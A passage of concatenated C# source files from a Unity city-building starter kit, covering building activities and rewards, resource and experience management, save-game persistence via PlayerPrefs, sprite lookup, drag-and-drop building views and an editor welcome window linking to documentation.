break;
case RewardType.CUSTOM_RESOURCE:
ResourceManager.Instance.AddCustomResource(data.rewardId, data.rewardAmount);
break;
case RewardType.CUSTOM:
// You need to include a custom reward handler if you use the CUSTOM RewardType
if (data.type == "UPGRADE")
{
((UpgradableBuildingData)this.data).level += 1;
}
else
{
SendMessage("CustomReward", CompletedActivity, SendMessageOptions.RequireReceiver);
}
break;
}
CurrentActivity = null;
CompletedActivity = null;
view.SendMessage("UI_AcknowledgeActivity");
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
}
else
{
Debug.LogError("Couldn't find data for activity: " + CompletedActivity.Type);
}
}
else if (StoredResources > 0)
{
Collect();
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Editor/CityBuilderWelcomePopUp.cs
#if UNITY_EDITOR
using UnityEditor;
using UnityEngine;
using System.Collections;
namespace CBSK
{
[InitializeOnLoad]
public class CityBuilderWelcomePopUp : EditorWindow
{
#region static variables
/// <summary>
/// Reference to the window
/// </summary>
public static CityBuilderWelcomePopUp window;
/// <summary>
/// The URL for the documentation.
/// </summary>
const string DOC_URL = "https://jnamobile.zendesk.com/hc/en-gb/categories/202587617-City-Builder-Starter-Kit";
/// <summary>
/// The URL for the tutorial videos.
/// </summary>
const string TUTORIAL_URL = "https://www.youtube.com/playlist?list=PLbnzW2Y4qytKNT25h8D_505VoYCVBux5s";
/// <summary>
/// The URL for submitting a support request.
/// </summary>
const string SUPPORT_URL = "https://jnamobile.zendesk.com/hc/en-gb/requests/new";
/// <summary>
/// The version as a string.
/// </summary>
const string VERSION = "v2.0.0";
/// <summary>
/// Cache show on startup state.
/// </summary>
protected static bool alreadyShown = false;
/// <summary>
/// The width of the welcome image.
/// </summary>
protected static int imageWidth = 512;
#endregion
/// <summary>
/// Holds the CBSK intro texture
/// </summary>
protected Texture2D popUpTexture;
static CityBuilderWelcomePopUp ()
{
if (!EditorApplication.isPlayingOrWillChangePlaymode)
{
EditorApplication.update += CheckShowWelcome;
}
}
[MenuItem ("Assets/CBSK/Show Welcome")]
public static void ShowWelcomeScreen()
{
// Lets assume that everyone window is at least 520 x 448
float windowWidth = imageWidth + 8;
float windowHeight = (imageWidth * 0.75f) + 64;
Rect rect = new Rect((Screen.currentResolution.width - windowWidth) / 2.0f,
(Screen.currentResolution.height - windowHeight) / 2.0f,
windowWidth , windowHeight);
window = (CityBuilderWelcomePopUp) EditorWindow.GetWindowWithRect(typeof(CityBuilderWelcomePopUp), rect, true, "Welcome to City Builder Starter Kit");
window.minSize = new Vector2 (windowWidth, windowHeight);
window.maxSize = new Vector2 (windowWidth, windowHeight);
window.position = rect;
window.Show();
alreadyShown = true;
}
/// <summary>
/// Check if we should show the welcome screen and show it if we should.
/// </summary>
protected static void CheckShowWelcome()
{
EditorApplication.update -= CheckShowWelcome;
// When we compile we lose out static settings this is just a simple workaround to avoid annoying user with constant pop-ups
if (Time.realtimeSinceStartup > 3) alreadyShown = true;
if (!alreadyShown && CityBuilderSettings.Instance.showTipOnStartUp)
{
if (!EditorApplication.isPlayingOrWillChangePlaymode)
{
ShowWelcomeScreen();
}
}
}
/// <summary>
/// Draw the intro window
/// </summary>
void OnGUI ()
{
if (popUpTexture == null) popUpTexture = Resources.Load <Texture2D> ("CBSK_TitleScreen");
GUILayout.Box (popUpTexture, GUILayout.Width(imageWidth), GUILayout.Height(imageWidth * 0.75f));
bool showOnStartUp = GUILayout.Toggle (CityBuilderSettings.Instance.showTipOnStartUp, "Show this window on project open?");
if (CityBuilderSettings.Instance.showTipOnStartUp != showOnStartUp)
{
CityBuilderSettings.Instance.showTipOnStartUp = showOnStartUp;
CityBuilderSettings.Save();
}
GUILayout.FlexibleSpace ();
GUILayout.BeginHorizontal ();
if (GUILayout.Button ("Documentation")) Application.OpenURL (DOC_URL);
if (GUILayout.Button ("Tutorials")) Application.OpenURL (TUTORIAL_URL);
if (GUILayout.Button ("Support Request")) Application.OpenURL (SUPPORT_URL);
GUILayout.EndHorizontal ();
GUILayout.BeginHorizontal ();
GUILayout.FlexibleSpace ();
GUILayout.Label (VERSION);
GUILayout.EndHorizontal ();
GUILayout.FlexibleSpace ();
}
}
}
#endif<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/Loader.cs
using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
namespace CBSK
{
/**
* The loader is a generic class responsible for serializing and deserializing data
* to XML files.
*/
public class Loader<T>
{
/**
* Load data from an XML resource.
*
* @param resourceName The name of the resource file.
*
* @return A List containing the loaded T.
*/
public List<T> Load(string resourceName)
{
TextAsset asset = Resources.Load(resourceName) as TextAsset;
using (Stream stream = new MemoryStream(asset.bytes))
{
Type[] types = typeof(T).Assembly.GetTypes().Where(t => t != typeof(T) && typeof(T).IsAssignableFrom(t)).ToArray();
XmlSerializer serializer = new XmlSerializer(typeof(List<T>), types);
List<T> itemData = (List<T>)serializer.Deserialize(stream);
return itemData;
}
}
/**
* Save a list of data to a file. Note that this does not save to a resource
* although you could specify a resource folder in the fileName.
*
* @param data The data to save.
* @param fileName Name and path of the file to save as.
*/
public void Save(List<T> data, string fileName)
{
Type[] types = typeof(T).Assembly.GetTypes().Where(t => t != typeof(T) && typeof(T).IsAssignableFrom(t)).ToArray();
XmlSerializer serializer = new XmlSerializer(typeof(List<T>), types);
using (Stream stream = new FileStream(fileName, FileMode.CreateNew))
{
serializer.Serialize(stream, data);
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Buildings/BuildingView.cs
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
using System;
using Random = UnityEngine.Random;
namespace CBSK
{
public class BuildingView : UIDraggableGridObject, IPointerClickHandler, IDragHandler
{
/**
* Building Sprite
*/
public SpriteRenderer buildingSprite;
/**
* Activity icon.
*/
public Image currentActivity;
/**
* Game object wrapping the various
* widgets used to indicate progress. Also
* acts as a button.
*/
public AcknowledgeBuildingButton progressIndicator;
/**
* Sprites showing progress of current activity.
*/
public Image[] progressRings;
/* The UIWidget that is being dragged */
//protected UIWidget widget;
/**
* Reference to the camera showing this object.
*/
protected InputManager inputManager;
/**
* Building this view references.
*/
protected Building building;
/**
* Internal initialisation.
*/
void Awake()
{
target = transform;
myPosition = target.position;
grid = GameObject.FindObjectOfType(typeof(AbstractGrid)) as AbstractGrid;
inputManager = GameObject.FindObjectOfType(typeof(InputManager)) as InputManager;
}
/**
* Initialise the building view.
*/
virtual public void UI_Init(Building building)
{
this.building = building;
//widget = buildingSprite;
buildingSprite.color = Color.white;
if (building.State == BuildingState.IN_PROGRESS || building.State == BuildingState.READY)
{
buildingSprite.sprite = SpriteManager.GetBuildingSprite("InProgress2x2");
}
else
{
buildingSprite.sprite = SpriteManager.GetBuildingSprite(building.Type.spriteName);
}
//buildingSprite.MakePixelPerfect();
progressIndicator.building = building;
SetColor(building.Position);
myPosition = transform.localPosition;
SnapToGrid();
buildingSprite.sortingOrder = -(int)(transform.position.y * 100);
}
/**
* Update objects position
*/
override public void SetPosition(GridPosition pos)
{
Vector3 position = grid.GridPositionToWorldPosition(pos);
//widget.depth = 1000 - (int)position.z;
position.z = target.localPosition.z;
target.localPosition = position;
myPosition = target.localPosition;
buildingSprite.sortingOrder = -(int)(transform.position.y * 100);
}
/**
* When object is dragged, move object then snap it to the grid.
*/
public void OnDrag(PointerEventData eventData)
{
#if UNITY_ANDROID || UNITY_IOS
if (Input.touchCount > 1)
{
return;
}
#endif
if (CanDrag && enabled && target != null)
{
transform.position = BuildingManager.GetInstance().gameCamera.ScreenToWorldPoint(eventData.position);
myPosition = transform.localPosition;
GridPosition pos = SnapToGrid();
PostDrag(pos);
}
else
{
inputManager.OnDrag(eventData);
}
}
/**
* Click event... building clicked.
*/
public void OnPointerClick(PointerEventData eventData)
{
if (building.Type.isObstacle)
{
if (building.CurrentActivity == null && building.CompletedActivity == null)
{
UIGamePanel.ShowPanel(PanelType.OBSTACLE_INFO);
if (UIGamePanel.activePanel is UIBuildingInfoPanel) ((UIBuildingInfoPanel)UIGamePanel.activePanel).InitialiseWithBuilding(building);
}
}
else if (building.State == BuildingState.BUILT)
{
UIGamePanel.ShowPanel(PanelType.BUILDING_INFO);
if (UIGamePanel.activePanel is UIBuildingInfoPanel)
{
((UIBuildingInfoPanel)UIGamePanel.activePanel).InitialiseWithBuilding(building);
}
}
}
/**
* Snap object to grid.
*/
override protected GridPosition SnapToGrid()
{
GridPosition pos = grid.WorldPositionToGridPosition(myPosition);
Vector3 position = grid.GridPositionToWorldPosition(pos);
position.z = target.localPosition.z;
target.localPosition = position;
return pos;
}
/**
* Can we drag this object.
*/
override public bool CanDrag
{
get
{
if (building.State == BuildingState.PLACING) return true;
if (building.State == BuildingState.MOVING) return true;
return false;
}
set
{
// Do nothing
}
}
/**
* Building state changed, update view.
*/
virtual public void UI_UpdateState()
{
switch (building.State)
{
case BuildingState.IN_PROGRESS:
// Snap to grid will ensure correct depth after dragging.
SnapToGrid();
progressIndicator.gameObject.SetActive(true);
buildingSprite.color = Color.white;
buildingSprite.sprite = SpriteManager.GetBuildingSprite("InProgress2x2");
progressIndicator.gameObject.SetActive(true);
currentActivity.color = UIColor.DESATURATE;
progressRings[0].color = UIColor.BUILD;
UpdateProgressRings(0f);
currentActivity.sprite = SpriteManager.GetButtonSprite("build_icon");
break;
case BuildingState.READY:
// Snap to grid will ensure correct depth after dragging.
SnapToGrid();
progressIndicator.gameObject.SetActive(true);
currentActivity.color = Color.white;
buildingSprite.color = Color.white;
progressRings[0].color = UIColor.BUILD;
UpdateProgressRings(1f);
StartCoroutine("DoBobble");
break;
case BuildingState.BUILT:
// Snap to grid will ensure correct depth after dragging.
SnapToGrid();
if ((building.CurrentActivity == null || building.CurrentActivity.Type == "BUILD") &&
(building.CompletedActivity == null || building.CompletedActivity.Type == "BUILD"))
{
progressIndicator.gameObject.SetActive(false);
}
buildingSprite.color = Color.white;
buildingSprite.sprite = SpriteManager.GetBuildingSprite(building.Type.spriteName);
buildingSprite.color = Color.white;
buildingSprite.sortingLayerName = "BuildingLayer";
break;
case BuildingState.MOVING:
SetColor(building.Position);
buildingSprite.sortingLayerName = "DraggingLayer";
break;
}
// StartCoroutine(WaitThenRefreshPanel());
}
/**
* Activity completed.
*/
public void UI_StartActivity(Activity activity)
{
if (activity.Type != ActivityType.BUILD)
{
progressIndicator.gameObject.SetActive(true);
StopCoroutine("DoBobble");
currentActivity.color = UIColor.DESATURATE;
progressRings[0].color = UIColor.GetColourForActivityType(activity.Type);
UpdateProgressRings(activity.PercentageComplete);
currentActivity.sprite = SpriteManager.GetButtonSprite(activity.Type.ToString().ToLower() + "_icon");
}
}
/**
* Indicate progress on the progress ring.
*/
public void UI_UpdateProgress(Activity activity)
{
UpdateProgressRings(activity.PercentageComplete);
}
/**
* Activity completed.
*/
public void UI_CompleteActivity(string type)
{
progressIndicator.gameObject.SetActive(true);
currentActivity.color = Color.white;
progressRings[0].color = UIColor.GetColourForActivityType(type);
UpdateProgressRings(1f);
StartCoroutine("DoBobble");
}
/**
* Store of auto generated rewards is full.
*/
public void UI_StoreFull()
{
if (!building.ActivityInProgress)
{
progressIndicator.gameObject.SetActive(true);
currentActivity.sprite = SpriteManager.GetButtonSprite(building.Type.generationType.ToString().ToLower() + "_icon");
currentActivity.color = Color.white;
progressRings[0].color = UIColor.GetColourForRewardType(building.Type.generationType);
UpdateProgressRings(1f);
StartCoroutine("DoBobble");
}
}
/**
* Activity acknowledged.
*/
virtual public void UI_AcknowledgeActivity()
{
if (!building.ActivityInProgress)
{
if (building.StoreFull) UI_StoreFull();
else progressIndicator.gameObject.SetActive(false);
}
}
/**
* After object dragged set color
*/
override protected void PostDrag(GridPosition pos)
{
if (building.State != BuildingState.MOVING)
{
building.Position = pos;
}
else
{
building.MovePosition = pos;
}
SetColor(pos);
// Move forward so always clickable
buildingSprite.sortingOrder = -(int)(transform.position.y * 100);
}
virtual protected void SetColor(GridPosition pos)
{
if (BuildingModeGrid.GetInstance().CanObjectBePlacedAtPosition(building, pos))
{
buildingSprite.color = UIColor.PLACING_COLOR;
}
else
{
buildingSprite.color = UIColor.PLACING_COLOR_BLOCKED;
}
}
protected IEnumerator DoBobble()
{
while (progressIndicator.gameObject.activeInHierarchy)
{
iTween.PunchPosition(progressIndicator.gameObject, new Vector3(0, 0.035f, 0), 1.5f);
yield return new WaitForSeconds(Random.Range(1.0f, 1.5f));
}
}
void UpdateProgressRings(float fillAmount)
{
foreach (Image progressRing in progressRings)
{
progressRing.fillAmount = fillAmount;
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Resource/ResourceManager.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
/**
* Handles resources, gold, etc.
*/
public class ResourceManager : MonoBehaviour
{
/**
* View of resources.
*/
public GameObject view;
/**
* Default for resources when new game is started.
*/
public int defaultResources = 400;
/**
* Default for gold when new game is started.
*/
public int defaultGold = 20;
/**
* A list of data files (resources) containing custom resource data
*/
public List<string> resourceDataFiles;
/**
* The resource used for actually building buildings. In some games this is called coins or gp.
*/
virtual public int Resources
{
get; protected set;
}
/**
* The resource used to speed things up. Some games might call this gems or cash.
*/
virtual public int Gold
{
get; protected set;
}
/**
* The experiecne of the current player.
*/
virtual public int Xp
{
get; protected set;
}
/**
* Level of the player calculated from experience.
*/
virtual public int Level
{
get
{
return GetLevelForExperience(Xp);
}
}
/**
* Get amount of a custom resource. Returns -1 if type not found.
*
*/
virtual public int GetCustomResource(string type)
{
if (type == null) return -1;
if (customResourceData.ContainsKey(type)) return customResourceData[type];
return -1;
}
/**
* Add an amount of a custom resource. Returns resulting amount or -1 if type does
* not exist.
*/
virtual public int AddCustomResource(string type, int amount)
{
if (customResourceData.ContainsKey(type))
{
int original = customResourceData[type];
customResourceData.Remove(type);
customResourceData.Add(type, original + amount);
// We could make this cleaner by only sending the update we need, but this will do for illustration purposes
if (customResourceTypes.Count > 0) view.SendMessage("UpdateCustomResource1", false, SendMessageOptions.DontRequireReceiver);
if (customResourceTypes.Count > 1) view.SendMessage("UpdateCustomResource2", false, SendMessageOptions.DontRequireReceiver);
return customResourceData[type];
}
else
{
if (customResourceTypes.Where(t => t.id == type).Count() > 0)
{
customResourceData.Add(type, amount);
// We could make this cleaner by only sending the update we need, but this will do for illustration purposes
if (customResourceTypes.Count > 0) view.SendMessage("UpdateCustomResource1", false, SendMessageOptions.DontRequireReceiver);
if (customResourceTypes.Count > 1) view.SendMessage("UpdateCustomResource2", false, SendMessageOptions.DontRequireReceiver);
return customResourceData[type];
}
}
Debug.LogWarning("The resource type " + type + " is not defined in the resource configuration.");
return -1;
}
/**
* Remove an amount of a custom resource, returns resulting amount or -1 if resource type not
* found (or not enough resource to remvoe amount).
*/
virtual public int RemoveCustomResource(string type, int amount)
{
if (customResourceData.ContainsKey(type))
{
int original = customResourceData[type];
if (original - amount < 0)
{
Debug.LogWarning("Tried to buy something without enough " + type);
return -1;
}
customResourceData.Remove(type);
customResourceData.Add(type, original - amount);
// We could make this cleaner by only sending the update we need, but this will do for illustration purposes
if (customResourceTypes.Count > 0) view.SendMessage("UpdateCustomResource1", false, SendMessageOptions.DontRequireReceiver);
if (customResourceTypes.Count > 1) view.SendMessage("UpdateCustomResource2", false, SendMessageOptions.DontRequireReceiver);
return customResourceData[type];
}
Debug.LogWarning("The resource type " + type + " is not defined in the resource configuration.");
return -1;
}
/**
* Get a list of current custom resource data
*/
virtual public List<CustomResource> OtherResources
{
get
{
List<CustomResource> result = new List<CustomResource>();
foreach (string key in customResourceData.Keys)
{
result.Add(new CustomResource(key, customResourceData[key]));
}
return result;
}
}
/**
* Get all resource types.
*/
public List<CustomResourceType> GetCustomResourceTypes()
{
return customResourceTypes.ToList();
}
/**
* Get resource data for given type or null if not found.
*/
public CustomResourceType GetCustomResourceType(string type)
{
return customResourceTypes.Where(t => t.id == type).FirstOrDefault();
}
/**
* List of resource type data.
*/
protected List<CustomResourceType> customResourceTypes;
/**
* Dictionary of resource id to current amount.
*/
protected Dictionary<string, int> customResourceData;
/**
* Loader for loading the data.
*/
protected Loader<CustomResourceType> loader;
void Awake()
{
Instance = this;
Resources = defaultResources;
Gold = defaultGold;
Xp = 0;
customResourceTypes = new List<CustomResourceType>();
customResourceData = new Dictionary<string, int>();
if (resourceDataFiles != null)
{
foreach (string dataFile in resourceDataFiles)
{
LoadResourceDataFromResource(dataFile, false);
}
}
}
/**
* Load resources from save game data.
*/
virtual public void Load(SaveGameData data)
{
Resources = data.resources;
Gold = data.gold;
Xp = data.xp;
foreach (CustomResource c in data.otherResources)
{
// Only add data for resources that we have a type for
if (customResourceData.ContainsKey(c.id))
{
customResourceData.Remove(c.id);
customResourceData.Add(c.id, c.amount);
}
}
view.SendMessage("UpdateResource", true, SendMessageOptions.DontRequireReceiver);
view.SendMessage("UpdateGold", true, SendMessageOptions.DontRequireReceiver);
if (customResourceTypes.Count > 0) view.SendMessage("UpdateCustomResource1", true, SendMessageOptions.DontRequireReceiver);
if (customResourceTypes.Count > 1) view.SendMessage("UpdateCustomResource2", true, SendMessageOptions.DontRequireReceiver);
view.SendMessage("UpdateLevel", false, SendMessageOptions.DontRequireReceiver);
}
/**
* Return true if there are enough resources to build the given building.
*/
public bool CanBuild(BuildingTypeData building)
{
if (Resources >= building.cost)
{
if (building.additionalCosts != null)
{
foreach (CustomResource c in building.additionalCosts)
{
if (GetCustomResource(c.id) < c.amount)
{
Debug.Log("Not enough " + c.id);
return false;
}
}
}
return true;
}
return false;
}
/**
* Subtract the given number of resources.
*/
public void RemoveResources(int resourceCost)
{
if (Resources >= resourceCost)
{
Resources -= resourceCost;
view.SendMessage("UpdateResource", false, SendMessageOptions.DontRequireReceiver);
}
else
{
Debug.LogWarning("Tried to buy something without enough resource");
}
}
/**
* Adds the given number of resources.
*/
public void AddResources(int resources)
{
Resources += resources;
view.SendMessage("UpdateResource", false, SendMessageOptions.DontRequireReceiver);
}
/**
* Subtract the given number of gold.
*/
public void RemoveGold(int goldCost)
{
if (Gold >= goldCost)
{
Gold -= goldCost;
view.SendMessage("UpdateGold", false, SendMessageOptions.DontRequireReceiver);
}
else
{
Debug.LogWarning("Tried to buy something without enough gold");
}
}
/**
* Adds the given number of gold.
*/
public void AddGold(int gold)
{
Gold += gold;
view.SendMessage("UpdateGold", false, SendMessageOptions.DontRequireReceiver);
}
/**
* Adds the given number of xp.
*/
public void AddXp(int xp)
{
int oldLevel = Level;
Xp += xp;
if (oldLevel < Level)
{
view.SendMessage("UpdateLevel", true, SendMessageOptions.DontRequireReceiver);
}
else
{
view.SendMessage("UpdateLevel", false, SendMessageOptions.DontRequireReceiver);
}
}
/// <summary>
/// Gets the players level based on their experience.
/// </summary>
/// <returns>The level from experience.</returns>
/// <param name="xp">Experience.</param>
virtual public int GetLevelForExperience(int xp)
{
// You can override with a different equation... this is like the D&D one.
return Mathf.FloorToInt((1.0f + Mathf.Sqrt(xp / 125.0f + 1.0f)) / 2.0f);
}
/// <summary>
/// Xp required for next level.
/// </summary>
/// <returns>The required for next level.</returns>
virtual public int XpRequiredForNextLevel()
{
// Must match GetLevelForExperience()
return 1000 * ((Level) + Combinations((Level), 2));
}
/// <summary>
/// Xp required for current level.
/// </summary>
/// <returns>The xp required for current level.</returns>
virtual public int XpRequiredForCurrentLevel()
{
// Must match GetLevelForExperience()
if (Level <= 1) return 0;
return 1000 * ((Level - 1) + Combinations((Level - 1), 2));
}
virtual protected int Combinations(int n, int m)
{
float result = 1.0f;
for (int i = 0; i < m; i++) result *= (float)(n - i) / (i + 1.0f);
return (int)result;
}
public static ResourceManager Instance
{
get; private set;
}
/**
* Load the custom resource type data from the given (file) resource.
*
* @param dataFile Name of the resource to load data from.
* @param skipDuplicates If false throw an exception if a duplicate is found.
*/
virtual public void LoadResourceDataFromResource(string dataFile, bool skipDuplicates)
{
if (loader == null) loader = new Loader<CustomResourceType>();
List<CustomResourceType> data = loader.Load(dataFile);
foreach (CustomResourceType type in data)
{
try
{
customResourceTypes.Add(type);
customResourceData.Add(type.id, type.defaultAmount);
}
catch (System.Exception ex)
{
if (!skipDuplicates) throw ex;
}
}
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/UISellBuildingPanel.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
namespace CBSK
{
/**
* Panel for selling a building.
*/
public class UISellBuildingPanel : UIGamePanel
{
public Text goldLabel;
public Text resourceLabel;
public Image buildingSprite;
public Text messageLabel;
public GameObject sellForGoldButton;
/**
* Set up the building with the given building.
*/
override public void InitialiseWithBuilding(Building building)
{
resourceLabel.text = ((int)building.Type.cost * BuildingManager.RECLAIM_PERCENTAGE).ToString();
goldLabel.text = ((int)Mathf.Max(1.0f, (int)(building.Type.cost * BuildingManager.GOLD_SELL_PERCENTAGE))).ToString();
buildingSprite.sprite = SpriteManager.GetBuildingSprite(building.Type.spriteName);
messageLabel.text = string.Format(" Are you sure you want to sell your {0} for {1} resources?", building.Type.name, (BuildingManager.GOLD_SELL_PERCENTAGE <= 0 ? "" : "gold or "));
if (BuildingManager.GOLD_SELL_PERCENTAGE <= 0) sellForGoldButton.SetActive(false);
}
override public void Show()
{
if (activePanel == null || HasOpenPanelFlag(activePanel.panelType))
{
if (activePanel != null) activePanel.Hide();
StartCoroutine(DoShow());
activePanel = this;
}
}
override public void Hide()
{
StartCoroutine(DoHide());
}
new protected IEnumerator DoShow()
{
yield return new WaitForSeconds(UI_DELAY / 3.0f);
//uiGroup.alpha = 1;
//uiGroup.blocksRaycasts = true;
SetPanelActive(true);
}
new protected IEnumerator DoHide()
{
//uiGroup.alpha = 0;
//uiGroup.blocksRaycasts = false;
SetPanelActive(false);
yield return true;
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/3DView/Scripts/InputControl3D.cs
using UnityEngine;
using System.Collections;
/**
* Detects clicks and responds in 3D space.
*/
namespace CBSK
{
public class InputControl3D : MonoBehaviour
{
public Camera gameCamera;
public Camera uiCamera;
public GameObject gameView;
float lastActionTimer;
bool mousePressed;
bool dragStarted;
Vector3 lastMousePosition;
GameObject dragTarget;
const float MAX_CLICK_TIME = 1.0f;
const float MAX_CLICK_DELTA = 10;
const float MIN_DRAG_DELTA = 1.0f;
void Update()
{
lastActionTimer += Time.deltaTime;
// Mouse button down
if (Input.GetMouseButtonDown(0) && !mousePressed)
{
mousePressed = true;
lastActionTimer = 0;
lastMousePosition = Input.mousePosition;
}
RaycastHit hit;
Ray ray = gameCamera.ScreenPointToRay(Input.mousePosition);
// Mouse button up
if (Input.GetMouseButtonUp(0))
{
if (lastActionTimer < MAX_CLICK_TIME && Vector2.Distance(lastMousePosition, Input.mousePosition) < MAX_CLICK_DELTA)
{
// Check for building
if (Physics.Raycast(ray, out hit, 10000, 1 << BuildingManager3D.BUILDING_LAYER))
{
hit.collider.gameObject.SendMessage("OnClick", SendMessageOptions.DontRequireReceiver);
}
}
mousePressed = false;
dragStarted = false;
lastActionTimer = 0;
}
// Drag
if (mousePressed && !dragStarted)
{
if (Vector2.Distance(lastMousePosition, Input.mousePosition) >= MAX_CLICK_DELTA)
{
if (Physics.Raycast(ray, out hit, 10000, 1 << BuildingManager3D.BUILDING_LAYER))
{
dragStarted = true;
dragTarget = hit.collider.gameObject;
}
}
}
if (dragStarted && Vector2.Distance(lastMousePosition, Input.mousePosition) >= MIN_DRAG_DELTA)
{
if (Physics.Raycast(ray, out hit, 10000, 1 << BuildingManager3D.TERRAIN_LAYER))
{
dragTarget.SendMessage("OnDrag", hit.point - gameView.transform.position, SendMessageOptions.DontRequireReceiver);
lastMousePosition = Input.mousePosition;
lastActionTimer = 0;
}
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Persistence/PlayerPrefsPersistenceManager.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System;
using System.IO;
using System.Linq;
using System.Text;
/**
* Saves and loads data from PlayerPrefs
*/
namespace CBSK
{
public class PlayerPrefsPersistenceManager : PersistenceManager
{
public string playerPrefName = "SAVED_GAME";
protected bool willSave;
protected System.Xml.Serialization.XmlSerializer serializer;
void LateUpdate()
{
// Only save once per frame at the end of the frame to avoid race conditions
if (willSave)
{
DoSave();
willSave = false;
}
}
/**
* Used to determine if there is a game that should be loaded.
*/
override public bool SaveGameExists()
{
if (PlayerPrefs.GetString(playerPrefName, "").Length > 0) return true;
return false;
}
override public void Save()
{
willSave = true;
}
virtual protected void DoSave()
{
InitTypes();
if (serializer == null) serializer = new System.Xml.Serialization.XmlSerializer(typeof(SaveGameData), types);
SaveGameData dataToSave = GetSaveGameData();
if (dataToSave != null)
{
try
{
using (var stream = new StringWriter())
{
serializer.Serialize(stream, dataToSave);
PlayerPrefs.SetString(playerPrefName, stream.ToString());
}
}
catch (System.IO.IOException e)
{
Debug.LogError("Error saving buildings:" + e.Message);
}
}
else
{
Debug.LogWarning("Nothing to save");
}
}
override public SaveGameData Load()
{
SaveGameData result;
InitTypes();
System.Xml.Serialization.XmlSerializer serializer = new System.Xml.Serialization.XmlSerializer(typeof(SaveGameData), types);
String savedGame = PlayerPrefs.GetString(playerPrefName, "");
if (savedGame.Length < 1)
{
Debug.LogError("No saved game data present.");
return null;
}
using (StringReader stream = new StringReader(savedGame))
{
result = (SaveGameData)serializer.Deserialize(stream);
}
return result;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Occupants/AttackerOccupantTypeData.cs
using UnityEngine;
using System.Collections;
/**
* An occupant that has a attack and defensive value.
*/
namespace CBSK
{
[System.Serializable]
public class AttackerOccupantTypeData : OccupantTypeData
{
public int attack;
public int defense;
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Activities/RewardType.cs
namespace CBSK
{
public enum RewardType
{
RESOURCE,
GOLD,
CUSTOM,
CUSTOM_RESOURCE
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Persistence/Editor/PlayerPrefsPersistenceManagerEditor.cs
using UnityEditor;
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
[CustomEditor(typeof(PlayerPrefsPersistenceManager))]
public class PlayerPrefsPersistenceManagerEditor : Editor
{
override public void OnInspectorGUI()
{
EditorGUILayout.BeginVertical();
//GUILayout.BeginArea(new Rect(0, GUILayoutUtility.GetLastRect().y, Screen.width, 20));
if (GUILayout.Button("Clear Saved Game"))
{
PlayerPrefs.DeleteKey(((PlayerPrefsPersistenceManager)target).playerPrefName);
}
if (GUILayout.Button("Print Saved Game "))
{
Debug.Log(PlayerPrefs.GetString(((PlayerPrefsPersistenceManager)target).playerPrefName, "NOT FOUND"));
}
//GUILayout.EndArea();
EditorGUILayout.EndHorizontal();
DrawDefaultInspector();
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/SpriteManager.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
/// <summary>
/// This class is mainly for doing gernal UI things like loading button icons.
/// Functionality of the individual UI components is handled by their own classes
/// </summary>
public class SpriteManager : MonoBehaviour
{
public static SpriteManager instance;
public List<Sprite> buttonSprites = new List<Sprite>();
public List<Sprite> buildingSprites = new List<Sprite>();
public List<Sprite> unitSprites = new List<Sprite>();
void Start()
{
instance = this;
}
/// <summary>
/// Return a sprite by the given name. This is the general method, for speed use one of the specific methods
/// </summary>
/// <param name="spriteName"></param>
/// <returns></returns>
public static Sprite GetSprite(string spriteName)
{
if (SpriteManager.instance == null)
{
Debug.LogError("UIManager not found");
return null;
}
//This method will have to search up to 3 lists to find the sprite in question.
Sprite newSprite = GetButtonSprite(spriteName);
if (newSprite == null)
{
newSprite = GetBuildingSprite(spriteName);
if (newSprite == null)
{
newSprite = GetUnitSprite(spriteName);
if (newSprite == null)
{
Debug.LogError(string.Format("Sprite {0} not found in {1}", spriteName, SpriteManager.instance.gameObject.name));
}
}
}
return newSprite;
}
/// <summary>
/// Returns a button sprite by the given name
/// </summary>
/// <param name="spriteName"></param>
/// <returns></returns>
public static Sprite GetButtonSprite(string spriteName)
{
if (SpriteManager.instance == null)
{
Debug.LogError("UIManager not found");
return null;
}
Sprite newSprite = SpriteManager.instance.buttonSprites.FirstOrDefault(x => x.name.Equals(spriteName));
if (newSprite == null)
{
Debug.LogError(string.Format("Sprite {0} not found in {1}", spriteName, SpriteManager.instance.gameObject.name));
}
return newSprite;
}
/// <summary>
/// Returns a building sprite by the given name
/// </summary>
/// <param name="spriteName"></param>
/// <returns></returns>
public static Sprite GetBuildingSprite(string spriteName)
{
if (SpriteManager.instance == null)
{
Debug.LogError("UIManager not found");
return null;
}
Sprite newSprite = SpriteManager.instance.buildingSprites.FirstOrDefault(x => x.name.Equals(spriteName));
if (newSprite == null)
{
Debug.LogError(string.Format("Sprite {0} not found in {1}", spriteName, SpriteManager.instance.gameObject.name));
}
return newSprite;
}
/// <summary>
/// Returns a unit sprite by the given name
/// </summary>
/// <param name="spriteName"></param>
/// <returns></returns>
public static Sprite GetUnitSprite(string spriteName)
{
if (SpriteManager.instance == null)
{
Debug.LogError("UIManager not found");
return null;
}
Sprite newSprite = SpriteManager.instance.unitSprites.FirstOrDefault(x => x.name.Equals(spriteName));
if (newSprite == null)
{
Debug.LogError(string.Format("Sprite {0} not found in {1}", spriteName, SpriteManager.instance.gameObject.name));
}
return newSprite;
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/BuildingUpgrades/UpgradableBuildingData.cs
/**
* Extends building data by including a building level which can be upgraded.
*/
namespace CBSK
{
[System.Serializable]
public class UpgradableBuildingData : BuildingData
{
/**
* The buildings current level.
